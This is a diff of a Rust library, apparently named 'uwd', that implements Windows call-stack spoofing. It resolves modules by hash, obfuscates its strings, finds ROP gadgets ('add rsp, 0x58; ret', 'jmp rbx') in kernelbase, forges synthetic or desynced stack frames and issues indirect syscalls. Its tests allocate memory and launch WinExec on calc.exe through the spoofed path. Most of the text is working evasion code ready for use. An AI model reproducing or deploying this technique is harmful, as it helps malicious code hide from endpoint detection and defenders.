let stack_base = (*teb).Reserved1[1] as usize;
|
||||
let stack_limit = (*teb).Reserved1[2] as usize;
|
||||
|
||||
@@ -147,14 +124,7 @@ pub fn find_base_thread_return_address() -> Option<usize> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Randomly shuffles the elements of a mutable slice in-place using a pseudo-random
|
||||
/// number generator seeded by the CPU's timestamp counter (`rdtsc`).
|
||||
///
|
||||
/// The shuffling algorithm is a variant of the Fisher-Yates shuffle.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `list` - A mutable slice of elements to be shuffled.
|
||||
/// Randomly shuffles the elements of a list in place.
|
||||
pub fn shuffle<T>(list: &mut [T]) {
|
||||
let mut seed = unsafe { core::arch::x86_64::_rdtsc() };
|
||||
for i in (1..list.len()).rev() {
|
||||
|
||||
+173
-204
@@ -1,29 +1,20 @@
|
||||
// Copyright (c) 2025 joaoviictorti
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for details.
|
||||
|
||||
use alloc::{string::String, vec::Vec};
|
||||
use core::ffi::c_void;
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use obfstr::obfstring as s;
|
||||
use dinvk::{
|
||||
GetModuleHandle, GetProcAddress,
|
||||
data::IMAGE_RUNTIME_FUNCTION,
|
||||
hash::murmur3,
|
||||
pe::PE
|
||||
};
|
||||
use dinvk::module::{get_module_address, get_proc_address};
|
||||
use dinvk::types::IMAGE_RUNTIME_FUNCTION;
|
||||
use dinvk::hash::murmur3;
|
||||
use dinvk::helper::PE;
|
||||
|
||||
use super::util::*;
|
||||
use super::data::{
|
||||
Config, Registers,
|
||||
UNWIND_OP_CODES::{self, *},
|
||||
};
|
||||
use super::data::{
|
||||
UNW_FLAG_CHAININFO,
|
||||
UNW_FLAG_EHANDLER,
|
||||
UNWIND_CODE,
|
||||
UNWIND_INFO,
|
||||
};
|
||||
#[cfg(feature = "desync")]
|
||||
use crate::util::find_base_thread_return_address;
|
||||
use crate::util::{find_gadget, shuffle, find_valid_instruction_offset};
|
||||
use crate::types::{Config, Registers, UNWIND_OP_CODES::{self, *}};
|
||||
use crate::types::{UNW_FLAG_CHAININFO, UNW_FLAG_EHANDLER};
|
||||
use crate::types::{UNWIND_CODE, UNWIND_INFO};
|
||||
use crate::types::Unwind;
|
||||
|
||||
#[cfg(feature = "desync")]
|
||||
unsafe extern "C" {
|
||||
@@ -37,17 +28,33 @@ unsafe extern "C" {
|
||||
fn SpoofSynthetic(config: &mut Config) -> *mut c_void;
|
||||
}
|
||||
|
||||
/// Invokes the function using a synthetic stack layout.
|
||||
/// Invokes a function using a synthetic spoofed call stack.
|
||||
///
|
||||
/// # Arguments
|
||||
/// # Examples
|
||||
///
|
||||
/// * `$addr` - A pointer to the function to spoof-call.
|
||||
/// * `$arg` - A list of arguments to be passed to the spoofed function (up to 11 maximum).
|
||||
/// ```
|
||||
/// use core::ptr;
|
||||
/// use dinvk::module::{get_module_address, get_proc_address};
|
||||
/// use uwd::spoof;
|
||||
///
|
||||
/// let kernel32 = get_module_address("kernel32.dll", None);
|
||||
/// let virtual_alloc = get_proc_address(kernel32, "VirtualAlloc", None);
|
||||
///
|
||||
/// let addr = spoof!(
|
||||
/// virtual_alloc,
|
||||
/// ptr::null_mut::<core::ffi::c_void>(),
|
||||
/// 1 << 12,
|
||||
/// 0x3000,
|
||||
/// 0x04
|
||||
/// ).unwrap();
|
||||
///
|
||||
/// assert!(!addr.is_null());
|
||||
/// ```
|
||||
#[macro_export]
|
||||
macro_rules! spoof {
|
||||
($addr:expr, $($arg:expr),+ $(,)?) => {
|
||||
unsafe {
|
||||
$crate::internal::uwd_entry(
|
||||
$crate::__private::spoof(
|
||||
$addr,
|
||||
&[$(::core::mem::transmute($arg as usize)),*],
|
||||
$crate::SpoofKind::Function,
|
||||
@@ -56,17 +63,34 @@ macro_rules! spoof {
|
||||
};
|
||||
}
|
||||
|
||||
/// Wraps a native Windows syscall with a simulated stack layout.
|
||||
/// Invokes a Windows native syscall using a spoofed stack.
|
||||
///
|
||||
/// # Arguments
|
||||
/// # Examples
|
||||
///
|
||||
/// ```
|
||||
/// use core::ptr;
|
||||
/// use uwd::{AsPointer, syscall};
|
||||
///
|
||||
/// * `$name` - The name of the syscall as a string literal.
|
||||
/// * `$arg` - A list of arguments to be passed to the spoofed function (up to 11 maximum)
|
||||
/// let mut addr = ptr::null_mut::<core::ffi::c_void>();
|
||||
/// let mut size = (1 << 12) as usize;
|
||||
///
|
||||
/// let status = syscall!(
|
||||
/// "NtAllocateVirtualMemory",
|
||||
/// -1isize,
|
||||
/// addr.as_ptr_mut(),
|
||||
/// 0,
|
||||
/// size.as_ptr_mut(),
|
||||
/// 0x3000,
|
||||
/// 0x04
|
||||
/// ).unwrap() as i32;
|
||||
///
|
||||
/// assert_eq!(status, 0);
|
||||
/// ```
|
||||
#[macro_export]
|
||||
macro_rules! syscall {
|
||||
($name:expr, $($arg:expr),* $(,)?) => {
|
||||
unsafe {
|
||||
$crate::internal::uwd_entry(
|
||||
$crate::__private::spoof(
|
||||
core::ptr::null_mut(),
|
||||
&[$(::core::mem::transmute($arg as usize)),*],
|
||||
$crate::SpoofKind::Syscall($name),
|
||||
@@ -75,62 +99,62 @@ macro_rules! syscall {
|
||||
};
|
||||
}
|
||||
|
||||
/// Internal module responsible for executing call stack spoofing.
|
||||
pub mod internal {
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
#[doc(hidden)]
|
||||
pub mod __private {
|
||||
use core::ffi::c_void;
|
||||
use super::*;
|
||||
|
||||
/// Performs call stack spoofing in `synthetic` mode, simulating a fake stack from scratch.
|
||||
/// Performs call stack spoofing in `synthetic` mode.
|
||||
#[cfg(not(feature = "desync"))]
|
||||
fn spoof(addr: *mut c_void, args: &[*const c_void], kind: SpoofKind) -> Result<*mut c_void> {
|
||||
// Max 11 arguments allowed
|
||||
pub fn spoof(addr: *mut c_void, args: &[*const c_void], kind: SpoofKind) -> Result<*mut c_void> {
|
||||
// Max 11 args
|
||||
if args.len() > 11 {
|
||||
bail!(s!("too many arguments"));
|
||||
}
|
||||
|
||||
// Prevent calling a null function unless it's a syscall
|
||||
// Function pointer must be valid unless syscall spoof
|
||||
if let SpoofKind::Function = kind && addr.is_null() {
|
||||
bail!(s!("null function address"));
|
||||
}
|
||||
|
||||
// Preparing the `Config` structure for spoofing
|
||||
let mut config = Config::default();
|
||||
|
||||
// Get the base address of kernelbase.dll
|
||||
let kernelbase = GetModuleHandle(2737729883u32, Some(murmur3));
|
||||
// Resolve kernelbase
|
||||
let kernelbase = get_module_address(2737729883u32, Some(murmur3));
|
||||
|
||||
// Parse the IMAGE_RUNTIME_FUNCTION table into usable Rust slices
|
||||
let pe_kernelbase = PE::parse(kernelbase);
|
||||
let tables = pe_kernelbase.unwind().entries().context(s!(
|
||||
"failed to read IMAGE_RUNTIME_FUNCTION entries from .pdata section"
|
||||
))?;
|
||||
// Parse unwind table
|
||||
let pe_kernelbase = Unwind::new(PE::parse(kernelbase));
|
||||
let tables = pe_kernelbase
|
||||
.entries()
|
||||
.context(s!(
|
||||
"failed to read IMAGE_RUNTIME_FUNCTION entries from .pdata section"
|
||||
))?;
|
||||
|
||||
// Preparing addresses to use as artificial frames to emulate thread stack initialization
|
||||
let ntdll = GetModuleHandle(2788516083u32, Some(murmur3));
|
||||
// Resolve APIs
|
||||
let ntdll = get_module_address(2788516083u32, Some(murmur3));
|
||||
if ntdll.is_null() {
|
||||
bail!(s!("ntdll.dll not found"));
|
||||
}
|
||||
|
||||
let kernel32 = GetModuleHandle(2808682670u32, Some(murmur3));
|
||||
let rlt_user_addr = GetProcAddress(ntdll, 1578834099u32, Some(murmur3));
|
||||
let base_thread_addr = GetProcAddress(kernel32, 4083630997u32, Some(murmur3));
|
||||
let kernel32 = get_module_address(2808682670u32, Some(murmur3));
|
||||
let rlt_user_addr = get_proc_address(ntdll, 1578834099u32, Some(murmur3));
|
||||
let base_thread_addr = get_proc_address(kernel32, 4083630997u32, Some(murmur3));
|
||||
|
||||
config.rtl_user_addr = rlt_user_addr;
|
||||
config.base_thread_addr = base_thread_addr;
|
||||
|
||||
// Recovering the IMAGE_RUNTIME_FUNCTION structure of target apis
|
||||
let pe_ntdll = PE::parse(ntdll);
|
||||
// Unwind lookup
|
||||
let pe_ntdll = Unwind::new(PE::parse(ntdll));
|
||||
let rtl_user_runtime = pe_ntdll
|
||||
.unwind()
|
||||
.function_by_offset(rlt_user_addr as u32 - ntdll as u32)
|
||||
.context(s!("RtlUserThreadStart unwind info not found"))?;
|
||||
|
||||
let pe_kernel32 = PE::parse(kernel32);
|
||||
let pe_kernel32 = Unwind::new(PE::parse(kernel32));
|
||||
let base_thread_runtime = pe_kernel32
|
||||
.unwind()
|
||||
.function_by_offset(base_thread_addr as u32 - kernel32 as u32)
|
||||
.context(s!("BaseThreadInitThunk unwind info not found"))?;
|
||||
|
||||
// Recovering the stack size of target apis
|
||||
// Stack sizes
|
||||
let rtl_user_size = ignoring_set_fpreg(ntdll, rtl_user_runtime)
|
||||
.context(s!("RtlUserThreadStart stack size not found"))?;
|
||||
|
||||
@@ -140,14 +164,14 @@ pub mod internal {
|
||||
config.rtl_user_thread_size = rtl_user_size as u64;
|
||||
config.base_thread_size = base_thread_size as u64;
|
||||
|
||||
// First frame: a normal function with a clean prologue
|
||||
// First prologue
|
||||
let first_prolog = Prolog::find_prolog(kernelbase, tables)
|
||||
.context(s!("first prolog not found"))?;
|
||||
|
||||
config.first_frame_fp = (first_prolog.frame + first_prolog.offset as u64) as *const c_void;
|
||||
config.first_frame_size = first_prolog.stack_size as u64;
|
||||
|
||||
// Second frame: looks specifically for a prologue with `push rbp`
|
||||
// Second prologue
|
||||
let second_prolog = Prolog::find_push_rbp(kernelbase, tables)
|
||||
.context(s!("second prolog not found"))?;
|
||||
|
||||
@@ -155,23 +179,24 @@ pub mod internal {
|
||||
config.second_frame_size = second_prolog.stack_size as u64;
|
||||
config.rbp_stack_offset = second_prolog.rbp_offset as u64;
|
||||
|
||||
// Find a gadget `add rsp, 0x58; ret`
|
||||
// Gadget: `add rsp, 0x58; ret`
|
||||
let (add_rsp_addr, size) = find_gadget(kernelbase, &[0x48, 0x83, 0xC4, 0x58, 0xC3], tables)
|
||||
.context(s!("add rsp gadget not found"))?;
|
||||
|
||||
config.add_rsp_gadget = add_rsp_addr as *const c_void;
|
||||
config.add_rsp_frame_size = size as u64;
|
||||
|
||||
// Find a gadget that performs `jmp rbx` - to restore the original call
|
||||
// Gadget: `jmp rbx`
|
||||
let (jmp_rbx_addr, size) = find_gadget(kernelbase, &[0xFF, 0x23], tables)
|
||||
.context(s!("jmp rbx gadget not found"))?;
|
||||
|
||||
config.jmp_rbx_gadget = jmp_rbx_addr as *const c_void;
|
||||
config.jmp_rbx_frame_size = size as u64;
|
||||
|
||||
// Preparing arguments
|
||||
// Prepare arguments
|
||||
let len = args.len();
|
||||
config.number_args = len as u32;
|
||||
|
||||
for (i, &arg) in args.iter().take(len).enumerate() {
|
||||
match i {
|
||||
0 => config.arg01 = arg,
|
||||
@@ -189,22 +214,15 @@ pub mod internal {
|
||||
}
|
||||
}
|
||||
|
||||
// Spoof kind handling
|
||||
// Handle syscall spoofing
|
||||
match kind {
|
||||
// Executes a function that is not syscall
|
||||
SpoofKind::Function => {
|
||||
config.spoof_function = addr;
|
||||
}
|
||||
|
||||
// Executes a syscall indirectly
|
||||
SpoofKind::Function => config.spoof_function = addr,
|
||||
SpoofKind::Syscall(name) => {
|
||||
// Retrieves the address of the function
|
||||
let addr = GetProcAddress(ntdll, name, None);
|
||||
let addr = get_proc_address(ntdll, name, None);
|
||||
if addr.is_null() {
|
||||
bail!(s!("GetProcAddress returned null"));
|
||||
bail!(s!("get_proc_address returned null"));
|
||||
}
|
||||
|
||||
// Configures the parameters to be sent to execute the syscall indirectly
|
||||
config.is_syscall = true as u32;
|
||||
config.ssn = dinvk::ssn(name, ntdll).context(s!("ssn not found"))?;
|
||||
config.spoof_function = dinvk::get_syscall_address(addr)
|
||||
@@ -212,47 +230,47 @@ pub mod internal {
|
||||
}
|
||||
}
|
||||
|
||||
// Call the external spoofing routine
|
||||
Ok(unsafe { SpoofSynthetic(&mut config) })
|
||||
}
|
||||
|
||||
/// Performs call stack spoofing in `desync` mode, reusing the thread's real stack.
|
||||
/// Performs call stack spoofing in `desync` mode.
|
||||
#[cfg(feature = "desync")]
|
||||
fn spoof(addr: *mut c_void, args: &[*const c_void], kind: SpoofKind) -> Result<*mut c_void> {
|
||||
// Max 11 arguments allowed
|
||||
pub fn spoof(addr: *mut c_void, args: &[*const c_void], kind: SpoofKind) -> Result<*mut c_void> {
|
||||
// Max 11 args
|
||||
if args.len() > 11 {
|
||||
bail!(s!("too many arguments"));
|
||||
}
|
||||
|
||||
// Prevent calling a null function unless it's a syscall
|
||||
// Function pointer must be valid unless syscall spoof
|
||||
if let SpoofKind::Function = kind && addr.is_null() {
|
||||
bail!(s!("null function address"));
|
||||
}
|
||||
|
||||
// Preparing the `Config` structure for spoofing
|
||||
let mut config = Config::default();
|
||||
|
||||
// Get the base address of kernelbase.dll
|
||||
let kernelbase = GetModuleHandle(2737729883u32, Some(murmur3));
|
||||
// Resolve kernelbase
|
||||
let kernelbase = get_module_address(2737729883u32, Some(murmur3));
|
||||
|
||||
// Parse the IMAGE_RUNTIME_FUNCTION table into usable Rust slices
|
||||
let pe = PE::parse(kernelbase);
|
||||
let tables = pe.unwind().entries().context(s!(
|
||||
"failed to read IMAGE_RUNTIME_FUNCTION entries from .pdata section"
|
||||
))?;
|
||||
// Parse unwind table
|
||||
let pe = Unwind::new(PE::parse(kernelbase));
|
||||
let tables = pe
|
||||
.entries()
|
||||
.context(s!(
|
||||
"failed to read IMAGE_RUNTIME_FUNCTION entries from .pdata section"
|
||||
))?;
|
||||
|
||||
// Locate a return address from BaseThreadInitThunk on the current stack
|
||||
config.return_address = find_base_thread_return_address()
|
||||
.context(s!("return address not found"))? as *const c_void;
|
||||
|
||||
// First frame: a normal function with a clean prologue
|
||||
// First prologue
|
||||
let first_prolog = Prolog::find_prolog(kernelbase, tables)
|
||||
.context(s!("first prolog not found"))?;
|
||||
|
||||
config.first_frame_fp = (first_prolog.frame + first_prolog.offset as u64) as *const c_void;
|
||||
config.first_frame_size = first_prolog.stack_size as u64;
|
||||
|
||||
// Second frame: looks specifically for a prologue with `push rbp`
|
||||
// Second prologue
|
||||
let second_prolog = Prolog::find_push_rbp(kernelbase, tables)
|
||||
.context(s!("second prolog not found"))?;
|
||||
|
||||
@@ -260,23 +278,24 @@ pub mod internal {
|
||||
config.second_frame_size = second_prolog.stack_size as u64;
|
||||
config.rbp_stack_offset = second_prolog.rbp_offset as u64;
|
||||
|
||||
// Find a gadget `add rsp, 0x58; ret`
|
||||
// Gadget: `add rsp, 0x58; ret`
|
||||
let (add_rsp_addr, size) = find_gadget(kernelbase, &[0x48, 0x83, 0xC4, 0x58, 0xC3], tables)
|
||||
.context(s!("add rsp gadget not found"))?;
|
||||
|
||||
config.add_rsp_gadget = add_rsp_addr as *const c_void;
|
||||
config.add_rsp_frame_size = size as u64;
|
||||
|
||||
// Find a gadget that performs `jmp rbx` - to restore the original call
|
||||
// Gadget: `jmp rbx`
|
||||
let (jmp_rbx_addr, size) = find_gadget(kernelbase, &[0xFF, 0x23], tables)
|
||||
.context(s!("jmp rbx gadget not found"))?;
|
||||
|
||||
config.jmp_rbx_gadget = jmp_rbx_addr as *const c_void;
|
||||
config.jmp_rbx_frame_size = size as u64;
|
||||
|
||||
// Preparing arguments
|
||||
// Prepare arguments
|
||||
let len = args.len();
|
||||
config.number_args = len as u32;
|
||||
|
||||
for (i, &arg) in args.iter().take(len).enumerate() {
|
||||
match i {
|
||||
0 => config.arg01 = arg,
|
||||
@@ -294,28 +313,20 @@ pub mod internal {
|
||||
}
|
||||
}
|
||||
|
||||
// Spoof kind handling
|
||||
// Handle syscall spoofing
|
||||
match kind {
|
||||
// Executes a function that is not syscall
|
||||
SpoofKind::Function => {
|
||||
config.spoof_function = addr;
|
||||
}
|
||||
|
||||
// Executes a syscall indirectly
|
||||
SpoofKind::Function => config.spoof_function = addr,
|
||||
SpoofKind::Syscall(name) => {
|
||||
// Retrieves the ntdll address
|
||||
let ntdll = GetModuleHandle(2788516083u32, Some(murmur3));
|
||||
let ntdll = get_module_address(2788516083u32, Some(murmur3));
|
||||
if ntdll.is_null() {
|
||||
bail!(s!("ntdll.dll not found"));
|
||||
}
|
||||
|
||||
// Retrieves the address of the function
|
||||
let addr = GetProcAddress(ntdll, name, None);
|
||||
let addr = get_proc_address(ntdll, name, None);
|
||||
if addr.is_null() {
|
||||
bail!(s!("GetProcAddress returned null"));
|
||||
bail!(s!("get_proc_address returned null"));
|
||||
}
|
||||
|
||||
// Configures the parameters to be sent to execute the syscall indirectly
|
||||
config.is_syscall = true as u32;
|
||||
config.ssn = dinvk::ssn(name, ntdll).context(s!("ssn not found"))?;
|
||||
config.spoof_function = dinvk::get_syscall_address(addr)
|
||||
@@ -323,68 +334,32 @@ pub mod internal {
|
||||
}
|
||||
}
|
||||
|
||||
// Call the external spoofing routine
|
||||
Ok(unsafe { Spoof(&mut config) })
|
||||
}
|
||||
|
||||
/// Launches a spoofed execution using either desynchronized or synthetic stack spoofing.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `addr` - Target function pointer. Can be `null` if `kind` is `SpoofKind::Syscall`.
|
||||
/// * `args` - Up to 11 arguments that will be passed to the target, cast as `*const c_void`.
|
||||
/// * `kind` - The spoofing mode:
|
||||
/// - [`SpoofKind::Function`]: Directly call a function using the spoofed call stack.
|
||||
/// - [`SpoofKind::Syscall`]: Resolve and invoke a Windows syscall via its shadow stub.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The raw return value of the spoofed call, or an error if spoofing fails.
|
||||
#[inline(always)]
|
||||
pub fn uwd_entry(
|
||||
addr: *mut c_void,
|
||||
args: &[*const c_void],
|
||||
kind: SpoofKind<'_>,
|
||||
) -> Result<*mut c_void> {
|
||||
match kind {
|
||||
SpoofKind::Function => {
|
||||
spoof(addr, args, SpoofKind::Function)
|
||||
}
|
||||
SpoofKind::Syscall(name) => {
|
||||
spoof(null_mut(), args, SpoofKind::Syscall(name))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Represents metadata extracted from a function's prologue used for call stack spoofing.
|
||||
#[derive(Copy, Clone)]
|
||||
/// Metadata extracted from a function prologue that is suitable for spoofing.
|
||||
#[derive(Copy, Clone, Default)]
|
||||
struct Prolog {
|
||||
/// Address of the function's entry point or relevant instruction.
|
||||
/// Address of the selected function frame.
|
||||
frame: u64,
|
||||
|
||||
/// Total stack space reserved by the function.
|
||||
stack_size: u32,
|
||||
|
||||
/// Offset inside the function where a specific instruction pattern is found.
|
||||
/// Offset inside the function where a valid instruction pattern was found.
|
||||
offset: u32,
|
||||
|
||||
/// Offset in the stack where `rbp` is pushed.
|
||||
/// Offset in the stack where `rbp` is pushed or saved.
|
||||
rbp_offset: u32,
|
||||
}
|
||||
|
||||
impl Prolog {
|
||||
/// Scans the `RUNTIME_FUNCTION` table to locate the first function with a prologue
|
||||
/// considered safe and predictable for call stack spoofing.
|
||||
/// Finds the first prologue in the unwind table that looks safe for spoofing.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module_base` - Base address of the module being analyzed.
|
||||
/// * `runtime_table` - Slice containing the exception directory entries.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Metadata of the first suitable prologue, or `None` if no suitable prologue is found.
|
||||
/// This scans the RUNTIME_FUNCTION entries for a function that:
|
||||
/// - Allocates a stack frame.
|
||||
/// - Has a predictable prologue layout.
|
||||
fn find_prolog(module_base: *mut c_void, runtime_table: &[IMAGE_RUNTIME_FUNCTION]) -> Option<Self> {
|
||||
let mut prologs = runtime_table
|
||||
.iter()
|
||||
@@ -400,35 +375,25 @@ impl Prolog {
|
||||
frame,
|
||||
stack_size,
|
||||
offset,
|
||||
rbp_offset: 0,
|
||||
..Default::default()
|
||||
})
|
||||
})
|
||||
.collect::<Vec<Self>>();
|
||||
|
||||
// No prologue found? return None
|
||||
if prologs.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Randomizes the order of possible frames found (if there is more than one),
|
||||
// helps to shuffle patterns and reduce repetition-based heuristics
|
||||
// Shuffle to reduce pattern predictability.
|
||||
shuffle(&mut prologs);
|
||||
|
||||
// Take the first occurrence
|
||||
prologs.first().copied()
|
||||
}
|
||||
|
||||
/// Searches for the first function in the exception directory that contains a classic
|
||||
/// `push rbp` prologue, which is typically associated with frame pointer-based stack frames.
|
||||
/// Finds a prologue that uses `push rbp` and an RBP-based frame.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module_base` - Base address of the loaded module.
|
||||
/// * `runtime_table` - Slice of entries from the exception directory.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// The prologue metadata if a valid `push rbp` function is found, or `None` if no suitable match exists.
|
||||
/// This is useful when spoofing techniques rely on classic frame-pointer
|
||||
/// based layouts rather than purely RSP-based stack frames.
|
||||
fn find_push_rbp(module_base: *mut c_void, runtime_table: &[IMAGE_RUNTIME_FUNCTION]) -> Option<Self> {
|
||||
let mut prologs = runtime_table
|
||||
.iter()
|
||||
@@ -451,33 +416,26 @@ impl Prolog {
|
||||
})
|
||||
.collect::<Vec<Self>>();
|
||||
|
||||
// No prologue found? return None
|
||||
if prologs.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// The first pop rbp frame is not suitable on most windows versions
|
||||
// The first frame is often not suitable on many Windows versions.
|
||||
prologs.remove(0);
|
||||
|
||||
// Randomizes the order of possible frames found (if there is more than one),
|
||||
// helps to shuffle patterns and reduce repetition-based heuristics
|
||||
// Shuffle to reduce pattern predictability.
|
||||
shuffle(&mut prologs);
|
||||
|
||||
// Take the first occurrence
|
||||
prologs.first().copied()
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if the `RBP` register is pushed or saved on the stack in a spoofable manner.
|
||||
/// Determines whether RBP is pushed or saved in a spoof-compatible manner and
|
||||
/// computes the total stack size for a function.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the loaded module.
|
||||
/// * `runtime` - A reference to the function's `IMAGE_RUNTIME_FUNCTION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Tuple with the RBP offset and the total stack size.
|
||||
/// This inspects the unwind codes associated with the `IMAGE_RUNTIME_FUNCTION`
|
||||
/// entry to determine if the function frame uses a layout suitable for
|
||||
/// call stack spoofing.
|
||||
pub fn rbp_offset(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option<(u32, u32)> {
|
||||
unsafe {
|
||||
let unwind_info = (module as usize + runtime.UnwindData as usize) as *mut UNWIND_INFO;
|
||||
@@ -643,16 +601,9 @@ pub fn rbp_offset(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Opti
|
||||
}
|
||||
}
|
||||
|
||||
/// Calculates the stack size of a function and checks if it uses `RBP` as frame pointer.
|
||||
/// Computes stack frame metadata while rejecting `setfp` frames.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the loaded module.
|
||||
/// * `runtime` - A reference to the function's `IMAGE_RUNTIME_FUNCTION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A flag indicating RBP usage and the total stack size.
|
||||
/// Used when locating suitable prologues for spoofed call frames.
|
||||
pub fn stack_frame(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option<(bool, u32)> {
|
||||
unsafe {
|
||||
let unwind_info = (module as usize + runtime.UnwindData as usize) as *mut UNWIND_INFO;
|
||||
@@ -805,18 +756,8 @@ pub fn stack_frame(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Opt
|
||||
}
|
||||
}
|
||||
|
||||
/// Calculates the total stack frame size of a function, ignoring `setfp` frames.
|
||||
///
|
||||
/// Rejects any function that uses `UWOP_SET_FPREG` or manipulates `RSP` directly.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `module` - Base address of the loaded module.
|
||||
/// * `runtime` - A reference to the function's `IMAGE_RUNTIME_FUNCTION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Total stack size in bytes for a spoof‑safe frame.
|
||||
/// Computes the total stack frame size of a function while ignoring any `setfp` frames.
|
||||
/// Useful for identifying spoof-compatible RUNTIME_FUNCTION entries.
|
||||
pub fn ignoring_set_fpreg(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option<u32> {
|
||||
unsafe {
|
||||
let unwind_info = (module as usize + runtime.UnwindData as usize) as *mut UNWIND_INFO;
|
||||
@@ -952,12 +893,13 @@ pub fn ignoring_set_fpreg(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION)
|
||||
}
|
||||
}
|
||||
|
||||
/// Trait for casting references to raw `c_void` pointers.
|
||||
/// Trait for safely converting any reference or mutable reference into a raw
|
||||
/// pointer usable in spoofing routines.
|
||||
pub trait AsPointer {
|
||||
/// Returns a raw immutable pointer to `self` as `*const c_void`.
|
||||
/// Returns a raw immutable pointer to `self`.
|
||||
fn as_ptr_const(&self) -> *const c_void;
|
||||
|
||||
/// Returns a raw mutable pointer to `self` as `*mut c_void`.
|
||||
/// Returns a raw mutable pointer to `self`.
|
||||
fn as_ptr_mut(&mut self) -> *mut c_void;
|
||||
}
|
||||
|
||||
@@ -973,11 +915,38 @@ impl<T> AsPointer for T {
|
||||
}
|
||||
}
|
||||
|
||||
/// Specifies the type of spoof being performed
|
||||
/// Specifies the spoofing mode used by the engine.
|
||||
pub enum SpoofKind<'a> {
|
||||
/// Spoofs a call to a regular function pointer.
|
||||
/// Spoofs a direct function call.
|
||||
Function,
|
||||
|
||||
/// Spoofs a native system call using its name.
|
||||
/// Spoofs a syscall using its name.
|
||||
Syscall(&'a str),
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use core::ptr;
|
||||
use alloc::boxed::Box;
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_spoof() -> Result<(), Box<dyn core::error::Error>> {
|
||||
let kernel32 = get_module_address("kernel32.dll", None);
|
||||
let virtual_alloc = get_proc_address(kernel32, "VirtualAlloc", None);
|
||||
let addr = spoof!(virtual_alloc, ptr::null_mut::<c_void>(), 1 << 12, 0x3000, 0x04)?;
|
||||
assert_ne!(addr, ptr::null_mut());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_syscall() -> Result<(), Box<dyn core::error::Error>> {
|
||||
let mut addr = ptr::null_mut::<c_void>();
|
||||
let mut size = (1 << 12) as usize;
|
||||
let status = syscall!("NtAllocateVirtualMemory", -1isize, addr.as_ptr_mut(), 0, size.as_ptr_mut(), 0x3000, 0x04)? as i32;
|
||||
assert_eq!(status, 0);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
[package]
|
||||
name = "tests"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
dinvk = "0.3.1"
|
||||
uwd = { path = "../" }
|
||||
@@ -1,33 +0,0 @@
|
||||
#[test]
|
||||
fn test_win_exec() -> Result<(), Box<dyn core::error::Error>> {
|
||||
// Resolves addresses of the WinAPI functions to be used
|
||||
let kernel32 = dinvk::GetModuleHandle("kernel32.dll", None);
|
||||
let win_exec = dinvk::GetProcAddress(kernel32, "WinExec", None);
|
||||
|
||||
// Execute command with `WinExec`
|
||||
let cmd = c"calc.exe";
|
||||
|
||||
// 0:000> bp kernel32!WinExec "k ; g"
|
||||
for _ in 0..50 {
|
||||
uwd::spoof!(win_exec, cmd.as_ptr(), 1)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_win_exec_synthetic() -> Result<(), Box<dyn core::error::Error>> {
|
||||
// Resolves addresses of the WinAPI functions to be used
|
||||
let kernel32 = dinvk::GetModuleHandle("kernel32.dll", None);
|
||||
let win_exec = dinvk::GetProcAddress(kernel32, "WinExec", None);
|
||||
|
||||
// Execute command with `WinExec`
|
||||
let cmd = c"calc.exe";
|
||||
|
||||
// 0:000> bp kernel32!WinExec "k ; g"
|
||||
for _ in 0..50 {
|
||||
uwd::spoof!(win_exec, cmd.as_ptr(), 1)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user